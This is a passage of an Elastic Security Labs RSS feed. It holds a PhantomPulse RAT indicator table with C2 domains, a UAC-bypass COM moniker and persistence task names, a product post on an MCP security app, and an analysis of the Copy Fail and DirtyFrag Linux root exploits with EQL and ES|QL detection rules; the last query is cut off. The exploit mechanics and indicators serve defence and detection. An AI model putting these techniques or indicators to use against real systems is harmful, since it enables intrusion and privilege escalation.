<td>SHA-256</td>
<td>Go beacon</td>
<td>GTESTIC_WIN check-in</td>
</tr>
<tr>
<td><code>panel.fefea22134[.]net</code></td>
<td>domain</td>
<td>C2 panel</td>
<td>PHANTOMPULSE hardcoded fallback</td>
</tr>
<tr>
<td><code>fea22134[.]net</code></td>
<td>domain</td>
<td>C2 domain</td>
<td>Encrypted in binary</td>
</tr>
<tr>
<td><code>195.3.222[.]251</code></td>
<td>ipv4-addr</td>
<td>Staging server</td>
<td>PowerShell/loader delivery</td>
</tr>
<tr>
<td><code>0xc117688c530b660e15085bF3A2B664117d8672aA</code></td>
<td>crypto-wallet</td>
<td>Blockchain C2 wallet</td>
<td>ETH/Base/Optimism</td>
</tr>
<tr>
<td><code>0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E</code></td>
<td>crypto-wallet</td>
<td>Funding wallet</td>
<td>C2 resolution funding</td>
</tr>
<tr>
<td><code>eth.blockscout[.]com</code></td>
<td>domain</td>
<td>Blockchain provider</td>
<td>C2 URL resolution</td>
</tr>
<tr>
<td><code>base.blockscout[.]com</code></td>
<td>domain</td>
<td>Blockchain provider</td>
<td>C2 URL resolution</td>
</tr>
<tr>
<td><code>optimism.blockscout[.]com</code></td>
<td>domain</td>
<td>Blockchain provider</td>
<td>C2 URL resolution</td>
</tr>
<tr>
<td><code>hVNBUORXNiFLhYYh</code></td>
<td>mutex</td>
<td>Single instance</td>
<td>XOR-decrypted</td>
</tr>
<tr>
<td><code>svcagent.dll</code></td>
<td>file-name</td>
<td>Stub DLL</td>
<td>Persistence payload</td>
</tr>
<tr>
<td><code>AssetMon</code></td>
<td>directory</td>
<td>Stub DLL directory</td>
<td>%ProgramData% or %APPDATA%</td>
</tr>
<tr>
<td><code>healthmon.exe</code></td>
<td>file-name</td>
<td>Dropper</td>
<td>Original executable name</td>
</tr>
<tr>
<td><code>diagcore.dll</code></td>
<td>file-name</td>
<td>Legacy sideload DLL</td>
<td>Migrated by MigrateSideload</td>
</tr>
<tr>
<td><code>.elevate</code></td>
<td>file-name</td>
<td>Elevation marker</td>
<td>Routes the elevated relaunch</td>
</tr>
<tr>
<td><code>DotNetSvcUpdateTask</code></td>
<td>scheduled-task</td>
<td>Primary persistence</td>
<td>3-min interval</td>
</tr>
<tr>
<td><code>DotNetSvcCoreTask</code></td>
<td>scheduled-task</td>
<td>SYSTEM persistence</td>
<td>15-min, hidden</td>
</tr>
<tr>
<td><code>DotNetSvcUserTask</code></td>
<td>scheduled-task</td>
<td>User persistence</td>
<td>Logon trigger</td>
</tr>
<tr>
<td><code>EdgeWebViewUpdateTask</code></td>
<td>scheduled-task</td>
<td>Legacy task</td>
<td>Cleaned during uninstall</td>
</tr>
<tr>
<td><code>\Microsoft\Windows\NetFramework\DotNetSvcCoreTask</code></td>
<td>task-uri</td>
<td>Boot task path</td>
<td>Hidden scheduled task</td>
</tr>
<tr>
<td><code>Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}</code></td>
<td>com-moniker</td>
<td>UAC bypass</td>
<td>Elevated ITaskService</td>
</tr>
<tr>
<td><code>0x666[.]info</code></td>
<td>domain</td>
<td>macOS C2</td>
<td>macOS dropper</td>
</tr>
<tr>
<td><code>t[.]me/ax03bot</code></td>
<td>url</td>
<td>Telegram fallback</td>
<td>macOS C2 dead-drop</td>
</tr>
<tr>
<td><code>thoroughly-publisher-troy-clara[.]trycloudflare[.]com</code></td>
<td>domain</td>
<td>Prior C2</td>
<td>Cloudflare Tunnel</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>Prior reporting and toolkits referenced in this analysis:</p>
<ul>
<li><a href="https://www.elastic.co/fr/security-labs/phantom-in-the-vault">Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT</a></li>
<li><a href="https://eth.blockscout.com/">Blockscout Ethereum Explorer</a></li>
<li><a href="https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding">DPRK Adopts EtherHiding</a></li>
<li><a href="https://unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters/">Contagious Interview / fake-recruiter targeting of crypto-sector developers</a></li>
<li><a href="https://unit42.paloaltonetworks.com/macos-malware-targets-crypto-sector/">RustDoor and Koi Stealer for macOS</a></li>
<li><a href="https://blog.talosintelligence.com/beavertail-and-ottercookie/">BeaverTail and OtterCookie evolution</a></li>
<li><a href="https://github.com/dis0rder0x00/DbgNexum">DbgNexum proof-of-concept</a></li>
<li><a href="https://github.com/hfiref0x/UACME/issues/129">UACME issue #129: schuac UAC bypass</a></li>
<li><a href="https://www.elastic.co/fr/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies">Exploring Windows UAC Bypasses</a></li>
<li><a href="https://rastamouse.me/memory-patching-amsi-bypass/">Memory Patching AMSI Bypass</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/blockchain-c2-phantompulse-rat-sinkhole.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Elastic Security MCP App: Interactive security operations inside your AI Tools]]></title>
            <link>https://www.elastic.co/fr/security-labs/elastic-security-mcp-app</link>
            <guid>elastic-security-mcp-app</guid>
            <pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security is the first security vendor to ship an interactive UI in AI tools. Triage alerts, hunt threats, correlate attack chains, and open cases, all from inside your AI conversation.]]></description>
            <content:encoded><![CDATA[<p>Every SOC analyst knows the drill: an alert fires, and the next ten minutes are spent switching between a triage dashboard, a threat hunt, a case file, and the AI tool that told you to look in the first place.</p>
<p>Recently, we introduced <a href="https://www.elastic.co/fr/search-labs/blog/mcp-apps-elastic">MCP Apps for Elastic</a>, built on the open MCP Apps extension to the Model Context Protocol, that lets an MCP tool return an interactive UI alongside its text response, rendered inline in Claude Desktop, Claude.ai, VS Code Copilot, Cursor, or any compatible host. This post goes deep on the <a href="https://github.com/elastic/example-mcp-app-security">Elastic Security MCP App</a>, We’ll go over six interactive dashboards covering the core SOC loop, from alert triage to closed case, without leaving the conversation.</p>
<p>Elastic already ships AI agents inside the platform: <a href="https://www.elastic.co/fr/guide/en/security/current/attack-discovery.html">Attack Discovery</a> and <a href="https://www.elastic.co/fr/elasticsearch/agent-builder">Agent Builder</a> work natively with your security data in Kibana. But analysts and security engineers also spend time in Claude, VS Code, and Cursor, writing detection logic, researching threats, and increasingly triaging findings. The question isn't whether to use Elastic's built-in AI or external tools. It's whether the external tools can give you the same interactive, visual workflow you get in Kibana. That's what the Security MCP App solves.</p>
<p>Security operations are inherently visual and interactive. An analyst scans alerts grouped by host, expands a process tree, traces a parent-child chain, and drags a suspicious entity onto an investigation graph. That loop doesn't survive compression into text. The Elastic Security MCP App brings those surfaces into the AI conversation, so the answer <em>is</em> the workflow, not a summary of it.</p>
<h2>Why the Elastic Security MCP App matters for the SOC</h2>
<p>When an agent tells a SOC analyst, &quot;There are 47 alerts on host-314, here's a summary,&quot; it hasn't done any work. It's just pointed at where the work starts. The actual work lives in the alert list, the process tree, the investigation graph, and the case file. You can't do it from a paragraph of text.</p>
<p>The security MCP App returns the workflow itself. The analyst prompts the agent, and the agent returns an interactive dashboard in the chat where the analyst can drill into alerts, run threat hunts, correlate attack chains, and open cases, without losing the thread of the conversation. Everything you do in the MCP App writes back to <a href="https://elastic.co/elasticsearch">Elasticsearch</a> and Kibana through the same APIs the product uses. From Cases, alerts, and findings to hunt queries; you lose none of this context because it does not just live in the chat, but it is all stored in your Elastic cluster and Kibana environments, waiting to be picked back up when you are ready.</p>
<h2>Six interactive dashboards</h2>
<p>We chose six elements that map to the core SOC loop: detect, triage, hunt, correlate, respond, and test. Each one is a React UI that renders inline when the agent calls the corresponding tool:</p>
<table>
<thead>
<tr>
<th align="left">Tool</th>
<th align="left">What it does</th>
<th align="left">Interactive UI</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Alert Triage</td>
<td align="left">Fetch, filter, and classify security alerts</td>
<td align="left">Severity grouping, AI verdict cards, process tree, and network events</td>
</tr>
<tr>
<td align="left">Attack Discovery</td>
<td align="left">AI-correlated attack chain analysis with on-demand generation</td>
<td align="left">Attack narrative cards with confidence scoring, entity risk, and MITRE mapping</td>
</tr>
<tr>
<td align="left">Case Management</td>
<td align="left">Create, search, and manage investigation cases</td>
<td align="left">Case list with alerts, observables, comments tabs, and AI actions</td>
</tr>
<tr>
<td align="left">Detection Rules</td>
<td align="left">Browse, tune, and manage detection rules</td>
<td align="left">Rule browser with KQL search, query validation, and noisy-rule analysis</td>
</tr>
<tr>
<td align="left">Threat Hunt</td>
<td align="left">ES|QL workbench with entity investigation</td>
<td align="left">Query editor, clickable entities, and investigation graph</td>
</tr>
<tr>
<td align="left">Sample Data</td>
<td align="left">Generate ECS security events for common attack scenarios</td>
<td align="left">Scenario picker with four pre-built attack chains</td>
</tr>
</tbody>
</table>
<p>Each tool returns a compact text summary that the model can reason over, alongside the interactive UI the analyst acts on. The UI can also fetch fresh data behind the scenes through the MCP host bridge. The full tool model and bridge API live in the <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/architecture.md">repo's architecture doc</a>.</p>
<p>The app also ships with <a href="https://github.com/elastic/example-mcp-app-security/tree/main/skills">Claude Desktop skills</a>, <code>SKILL.md</code> files that teach the agent when and how to use each tool. You can download the pre-built skill zips from the <a href="https://github.com/elastic/example-mcp-app-security/releases/latest">latest release</a>.</p>
<h2>From alert to case</h2>
<p>The five skills cover the core SOC loop. Each one picks up a prompt, calls a tool, and returns an interactive dashboard alongside a text summary that the model reasons over. The walkthrough below starts from scratch; if you're following along, the first step populates the cluster so the rest of the loop has data to work with.</p>
<p><strong>Generate sample data.</strong> Starting with a fresh cluster? The Sample Data skill generates realistic <a href="https://www.elastic.co/fr/docs/reference/ecs">ECS</a> security events for four common attack scenarios: ransomware, lateral movement, credential theft, and data exfiltration. Ask the agent to generate sample data, pick a scenario, and within seconds, you have a populated alert queue to work from. Everything that follows in this walkthrough uses these events.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/-4NLaMN51mI&quot; title=&quot;Generate sample data&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p><strong>Triage alerts.</strong> Ask the agent to triage by host, rule, user, or time window. The Alert Triage skill returns a dashboard of AI verdicts above the raw alert list, with one verdict per detection rule classifying that rule's activity as benign, suspicious, or malicious, each with a confidence score and a recommended action. Click any alert to open a detailed view with a process tree, network events, related alerts, and MITRE ATT&amp;CK tags. No tab switching between your AI tool and the alerts dashboard inside Kibana; everything happens in real-time inside the conversation.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/l_GXdJpAGaQ&quot; title=&quot;Alert Triage&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-security-mcp-app/image2.png" alt="Alert Triage" /></p>
<p><strong>Hunt for threats.</strong> Ask the agent to hunt across your indices. The Threat Hunt skill returns an <a href="https://www.elastic.co/fr/docs/explore-analyze/query-filter/languages/esql">ES|QL</a> workbench with the query pre-populated and auto-executed, with every entity in the results clickable for drill-down. The model writes a short read-out below the table: what's unusual, what's connected, and what's worth a closer look. It then offers the next pivot: go deeper into the threat hunt, or hand off to another skill. Attack Discovery is the natural next step; it gathers more context on the alerts you've triaged and the threats you've hunted, correlating them into attack chains.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/s5EA-fJaCtQ&quot; title=&quot;Hunt for Threats&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p><strong>Run Attack Discovery.</strong> The Attack Discovery skill triggers the <a href="https://www.elastic.co/fr/guide/en/security/current/attack-discovery.html">Attack Discovery API</a> and returns a ranked list of findings. Each finding is a set of related alerts stitched into one attack chain, with MITRE tactics, a risk score, a confidence label, and the impacted hosts and users surfaced up front. The agent's summary lands below the findings in the same rank order, and the conversation now holds everything needed to act: hunt queries, triage decisions, correlated chains, all staged for the next step.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/SeTw75JVLiM&quot; title=&quot;Run Attack Discovery&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p><strong>Open cases without leaving the chat.</strong> Approve findings in bulk or ask the agent to open cases for specific alerts. The Case Management skill creates one case per approved finding (source alerts attached, and MITRE tactics inherited from the attack chain) and renders the live case list inline. Click a case for its detail view, which includes a row of AI action buttons: <em>Summarize case</em>, <em>Suggest next steps</em>, <em>Extract IOCs</em>, and <em>Generate timeline</em>. Each one drops a structured prompt back into the chat, so the agent picks up the case context without needing a reintroduction. The agent's summary sits below the case list and covers the full IR queue, including the cases just opened and earlier findings that still need one.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/rBRQN2BE41U&quot; title=&quot;Case Management&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<p>Every step in this walkthrough runs the same loop: a prompt comes in, the skill picks it up, and the tool returns a compact text summary for the model to reason over, alongside an interactive UI that the analyst acts on. Chain the skills together, and they compose into an end-to-end SOC flow; hunt, triage, correlate, open cases, and drive the next pivot, all with the model carrying the session context across every step. Invoke any one on its own, and it's still the full dashboard, pointed at whatever slice of your data you name. Either way, the work accumulates inside the conversation; no tab switching, no copy-paste, no hand-offs.</p>
<p>One more skill rounds out the app: a detection-rule browser for tuning noisy rules, filtering by rule type, and flagging high-noise detections. A follow-up post will go deep on all six dashboards: investigation graph, attack-flow canvas, and end-to-end walkthrough.</p>
<p>Here’s the full walkthrough of this demo.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/WQXrKLO5qVg&quot; title=&quot;Elastic MCP Security App&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<h2>How Elastic's InfoSec team uses the Security MCP App</h2>
<p>The MCP App's value compounds when the conversation has access to more than just Elastic Security. In a real SOC workflow, a single alert often leads to questions that span multiple systems: cases in Kibana, threads in Slack, issues in Jira, and cloud infrastructure logs. Traditionally, an analyst would pivot across each of those tools manually, assembling context one tab at a time.</p>
<p>With the Security MCP App connected alongside MCP servers for Slack, Jira, and cloud platforms, the agent can pull the full picture into one conversation: review a case and its attached alerts, cross-reference Slack channels for related outages or planned changes, check Jira for known issues, and compile a forensic summary covering root cause, actions already taken, and outstanding tasks, all before the analyst writes a single note. Once the analysis is reviewed and approved, the agent writes the findings back: a structured comment on the Kibana case, a summary posted to the relevant Slack channel, and alerts closed with context attached.</p>
<p>Cloud-based alerting benefits the same way. Strange activity in a cloud environment often turns out to be a known outage or an infrastructure change already under discussion in Slack or Jira. The agent can check those sources in seconds, correlate the context, and either close the alert with an explanation or escalate it with the full picture already attached.</p>
<blockquote>
<p>The MCP App for Elastic Security bridges the gap between automated detection and manual hunting. By bringing our security data directly into a single interface within Claude Desktop, we surfaced 'silent' threats in under an hour — risks that didn't trigger standard alerts but required immediate action. It's a force multiplier for our analysts.
— Mandy Andress, Chief Information Security Officer (CISO), Elastic</p>
</blockquote>
<h2>How it works</h2>
<p>Each MCP App is a small Node.js server whose tools return both a compact text summary for the model and a React UI that the host renders inline. The server exposes two layers: model-facing tools the LLM calls (returning lightweight summaries for reasoning), and app-only tools the UI calls behind the scenes for interactivity, like expanding process trees or running ES|QL queries. Each view is a self-contained React app rendered in a sandboxed iframe. Because it's built on the open MCP App spec, the same server runs on any compatible host; see the <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/architecture.md">repo's architecture doc</a> for the full design</p>
<h2>The agentic SOC, interactive</h2>
<p>Two properties about this pattern are worth stating directly. First, the tool result is no longer the end of the work; it is the start of it: the conversation returns an interface you can act on, not a summary you have to act from. Second, this only works because Elasticsearch and Kibana already expose the security APIs. The MCP App is a thin interactive layer over the detection, investigation, and case management capabilities Elastic Security already ships.</p>
<p>Attack Discovery already powers the correlated findings view inside this app. Inside the stack, the same agentic pattern goes further: <a href="https://www.elastic.co/fr/search-labs/blog/elastic-workflows-automation">Elastic Workflows</a> automate the deterministic steps (enrich entities, create cases, and isolate hosts), while <a href="https://www.elastic.co/fr/elasticsearch/agent-builder">Agent Builder</a> reasons over the data and invokes those workflows as tools. The MCP App brings that same security surface into the external conversation; Workflows and Agent Builder deepen it inside the stack. Different entry points, same Elastic Security APIs underneath.</p>
<p>That architectural choice is deliberate. The MCP server runs on the analyst's own machine and connects directly to Elasticsearch using their API key. The LLM receives only compact summaries for reasoning, while the UI independently loads full investigation data through the same server. It adds a surface for analysts who already work in Claude, VS Code, or Cursor without introducing a dependency they have to adopt or a governance model they have to rebuild. The same role-based access controls you enforce through your Elasticsearch API keys apply to every action the app takes, which means the operational result is straightforward: analysts spend less time switching tools and more time closing cases.</p>
<h2>Try the Elastic Security MCP App</h2>
<p>The Elastic Security MCP App requires Elasticsearch 9.x with Security enabled, plus Kibana for cases, rules, and Attack Discovery. The fastest path is the one-click <code>.mcpb</code> bundle from the <a href="https://github.com/elastic/example-mcp-app-security/releases/latest">latest release</a>; double-click it in Claude Desktop, and you'll be prompted for your Elasticsearch URL and API key. Setup guides for <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/setup-cursor.md">Cursor</a>, <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/setup-vscode.md">VS Code</a>, <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/setup-claude-code.md">Claude Code</a>, <a href="https://github.com/elastic/example-mcp-app-security/blob/main/docs/setup-claude-ai.md">Claude.ai</a>, and building from source are in the <a href="https://github.com/elastic/example-mcp-app-security">repo</a>.</p>
<p>Don't have an Elasticsearch cluster yet? Start a free <a href="https://cloud.elastic.co/registration">Elastic Cloud trial</a>. For more on the building blocks behind the app, see the related Security Labs posts on <a href="https://www.elastic.co/fr/security-labs/from-alert-fatigue-to-agentic-response">Elastic Workflows and Agent Builder</a>, <a href="https://www.elastic.co/fr/security-labs/agent-skills-elastic-security">Agent Skills</a>, and <a href="https://www.elastic.co/fr/security-labs/speeding-apt-attack-discovery-confirmation-with-attack-discovery-workflows-and-agent-builder">Attack Discovery</a>.</p>
<p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/elastic-security-mcp-app/elastic-security-mcp-app.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Copy Fail and DirtyFrag: Linux Page Cache Bugs in the Wild]]></title>
            <link>https://www.elastic.co/fr/security-labs/copy-fail-dirtyfrag-linux-page-bugs-in-the-wild</link>
            <guid>copy-fail-dirtyfrag-linux-page-bugs-in-the-wild</guid>
            <pubDate>Sat, 09 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[This research analyzes the Linux kernel privilege escalation vulnerabilities Copy Fail and DirtyFrag, which exploit subtle page cache corruption bugs to create reliable paths to root access. Additionally, Elastic Security Labs is releasing detection logic for these vulnerabilities.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Recent Linux kernel privilege escalation vulnerabilities, Copy Fail (CVE-2026-31431) , Copy Fail 2, and DirtyFrag, highlight how subtle page cache corruption bugs can become practical, reliable paths to root. These issues are especially relevant for defenders because exploitation involves legitimate kernel interfaces, local execution, and short proof-of-concept code. Copy Fail has been reported as exploited in the wild and was added to CISA's Known Exploited Vulnerabilities catalog.</p>
<p>To help mitigate these threats, Elastic Security Labs has developed detection logic focused on the exploitation patterns around these vulnerabilities rather than only matching a specific proof-of-concept implementation.</p>
<h2>Copy Fail</h2>
<p>Copy Fail is a logic bug in the Linux kernel's <code>authencesn</code> cryptographic template. The vulnerability chains <code>AF_ALG</code> and <code>splice()</code> to create a controlled 4-byte write into the page cache of any readable file. In practice, this corrupts the in-memory view of a setuid binary like <code>/usr/bin/su</code> and escalates privileges without changing the file on disk. The public exploit is a 732-byte Python script that works across Ubuntu, Amazon Linux, RHEL, and SUSE.</p>
<h2>DirtyFrag</h2>
<p>DirtyFrag expands the same bug class into the networking stack with two page-cache write variants. The ESP path uses XFRM security associations via <code>AF_NETLINK</code> to perform in-place crypto operations on spliced pages, overwriting <code>/usr/bin/su</code> with a minimal root-shell ELF. The RxRPC fallback path uses <code>AF_RXRPC</code> with <code>pcbc(fcrypt)</code> to corrupt <code>/etc/passwd</code>, clearing root's password field. Both paths require <code>unshare(CLONE_NEWUSER | CLONE_NEWNET)</code> to gain namespace capabilities before triggering the page-cache write.</p>
<p>DirtyFrag does not depend on the <code>algif_aead</code> module, meaning systems that only applied the Copy Fail mitigation may still be exposed.</p>
<h2>Detection</h2>
<p>For these vulnerabilities, we focused on detecting the underlying primitives and behavior, not only a specific exploit implementation. That distinction matters, Copy Fail already has multiple public reimplementations (Python, Go, Rust, C, Metasploit), and DirtyFrag ships as a public C proof-of-concept. Trying to detect only a specific PoC leaves defenders one step behind.</p>
<h3>Syscall-Level Primitives (Auditd)</h3>
<p>Both Copy Fail and DirtyFrag rely on <code>socket(AF_ALG)</code> to access the kernel crypto subsystem, and <code>splice()</code> to inject read-only file pages into network buffers where in-place cryptographic operations corrupt the page cache. DirtyFrag additionally uses <code>socket(AF_RXRPC)</code> as a fallback when <code>AF_ALG</code> is unavailable. These primitives are visible through auditd syscall auditing <code>socket</code> with <code>a0</code> hex values of <code>26</code> (<code>AF_ALG</code>) or <code>21</code> (<code>AF_RXRPC</code>), and <code>splice</code> calls from non-root processes. We use these as early-stage signals, correlated via EQL sequences with the final privilege escalation step of gaining effective uid 0 from a non-root caller:</p>
<pre><code class="language-sql">sequence with maxspan=60s
  [any where host.os.type == &quot;linux&quot; and    
   (
    (event.category == &quot;process&quot; and auditd.data.syscall == &quot;socket&quot; and auditd.data.a0 in (&quot;26&quot;, &quot;21&quot;)) or 
    (event.category == &quot;process&quot; and auditd.data.syscall == &quot;splice&quot;) or 
    (event.category == &quot;network&quot; and event.action == &quot;bound-socket&quot; and data_stream.dataset == &quot;auditd_manager.auditd&quot; and ?auditd.data.socket.family == &quot;38&quot;) 
    )  
   and user.id != &quot;0&quot;]  by process.pid, host.id, user.id with runs=10
  [process where host.os.type == &quot;linux&quot;  and event.action == &quot;executed&quot; and 
   (
     (user.effective.id == &quot;0&quot; and user.id != &quot;0&quot;) or 
     (process.name in (&quot;bash&quot;, &quot;sh&quot;, &quot;zsh&quot;, &quot;dash&quot;, &quot;fish&quot;, &quot;ksh&quot;, &quot;busybox&quot;) and 
      process.args in (&quot;-c&quot;, &quot;--command&quot;, &quot;-ic&quot;, &quot;-ci&quot;, &quot;-cl&quot;, &quot;-lc&quot;, &quot;-bash&quot;, &quot;-sh&quot;, &quot;-zsh&quot;, &quot;-dash&quot;, &quot;-fish&quot;, &quot;-ksh&quot;))
    )] by process.parent.pid, host.id, user.id
</code></pre>
<p>Example of matches :</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/copy-fail-dirtyfrag-linux-page-bugs-in-the-wild/image1.png" alt="" /></p>
<h3>Namespace Creation (DirtyFrag-Specific)</h3>
<p>DirtyFrag's exploit chain also relies on <code>unshare(CLONE_NEWUSER | CLONE_NEWNET)</code> to gain namespace capabilities. We correlate this event with a root process execution or a <code>setuid(0)</code> syscall shortly after:</p>
<pre><code class="language-sql">sequence by host.id, process.parent.pid with maxspan=30s
 [process where host.os.type == &quot;linux&quot; and 
  (
   (auditd.data.syscall == &quot;unshare&quot; and auditd.data.class == &quot;namespace&quot; and auditd.data.a0 in (&quot;10000000&quot;, &quot;50000000&quot;, &quot;70000000&quot;, &quot;10020000&quot;, &quot;50020000&quot;, &quot;70020000&quot;)) or 

   (process.name == &quot;unshare&quot; and  
    (process.args in (&quot;--user&quot;, &quot;--map-root-user&quot;, &quot;--map-current-user&quot;) or process.args like (&quot;-*U*&quot;, &quot;-*r*&quot;)))
   ) and user.id != &quot;0&quot; and user.id != null]
 [process where host.os.type == &quot;linux&quot; and 
  user.id == &quot;0&quot; and user.id != null and 
  (
   process.name in (&quot;su&quot;, &quot;sudo&quot;, &quot;pkexec&quot;, &quot;passwd&quot;, &quot;chsh&quot;, &quot;newgrp&quot;, &quot;doas&quot;, &quot;run0&quot;, &quot;sg&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;bash&quot;, &quot;zsh&quot;, &quot;fish&quot;, 
                    &quot;ksh&quot;, &quot;csh&quot;, &quot;tcsh&quot;, &quot;ash&quot;, &quot;mksh&quot;, &quot;busybox&quot;, &quot;rbash&quot;, &quot;rzsh&quot;, &quot;rksh&quot;, &quot;tmux&quot;, &quot;screen&quot;, &quot;node&quot;) or 
   process.name like (&quot;python*&quot;, &quot;perl*&quot;, &quot;ruby*&quot;, &quot;php*&quot;, &quot;lua*&quot;)
  )]
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/copy-fail-dirtyfrag-linux-page-bugs-in-the-wild/image4.png" alt="" /></p>
<h3>Generic SUID Binary Abuse (Process Exec Events)</h3>
<p>We also assessed detection options using process exec events only, as those tend to be enabled in more environments than auditd syscall auditing. A common final step for both exploits is to corrupt or influence the in-memory execution of a SUID binary such as <code>su</code>, <code>sudo</code>, <code>pkexec</code>, <code>passwd</code>, <code>chsh</code>, or <code>newgrp</code>, causing it to run attacker-controlled code as root.</p>
<p>Detection looks for suspicious executions where the process runs as effective UID 0, the real user is non-root, the parent process is also non-root, the SUID binary is launched with minimal arguments, and the parent process is a scripting runtime, shell one-liner, or executable from a user-writable path:</p>
<pre><code class="language-sql">process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (
  (process.user.id == 0 and process.real_user.id != 0) or
  (process.group.id == 0 and process.real_group.id != 0)
) and (
  (process.name == &quot;su&quot; and process.args_count &lt;= 2) or
  (process.name == &quot;sudo&quot; and process.args_count == 1) or
  (process.name == &quot;pkexec&quot; and process.args_count == 1) or
  (process.name == &quot;passwd&quot; and process.args_count &lt;= 2)
) and
(
  process.parent.name like (&quot;.*&quot;, &quot;python*&quot;, &quot;perl*&quot;, &quot;ruby*&quot;, &quot;lua*&quot;, &quot;php*&quot;, &quot;node&quot;, &quot;deno&quot;, &quot;bun&quot;, &quot;java&quot;) or
  process.parent.executable like (&quot;./*&quot;, &quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;, &quot;/dev/shm/*&quot;, &quot;/run/user/*&quot;, &quot;/var/run/user/*&quot;, &quot;/home/*/*&quot;) or
  (
    process.parent.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;, &quot;mksh&quot;) and
    process.parent.args in (&quot;-c&quot;, &quot;-cl&quot;, &quot;-lc&quot;, &quot;--command&quot;, &quot;-ic&quot;, &quot;-ci&quot;, &quot;-bash&quot;, &quot;-sh&quot;, &quot;-zsh&quot;, &quot;-dash&quot;, &quot;-fish&quot;, &quot;-ksh&quot;) and
    process.parent.args_count &lt;= 4
  )
)
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/copy-fail-dirtyfrag-linux-page-bugs-in-the-wild/image2.png" alt="" /></p>
<p>Without relying on a child process being spawned, we can also hunt proactively for exploitation activity using ES|QL. Both Copy Fail and DirtyFrag produce a distinctive burst of interleaved <code>socket(AF_ALG)</code> and <code>splice()</code> syscalls from the same process. Copy Fail iterates 48 times to write 192 bytes, and DirtyFrag follows a similar pattern across its ESP and RxRPC paths.</p>
<p>The following query aggregates these syscalls by process and surfaces any non-root process combining <code>AF_ALG</code> or <code>AF_RXRPC</code> sockets with <code>splice</code> calls at volume :</p>
<pre><code class="language-sql">FROM logs-auditd_manager.auditd-default*
| WHERE host.os.type == &quot;linux&quot; AND user.id != &quot;0&quot; AND
  (
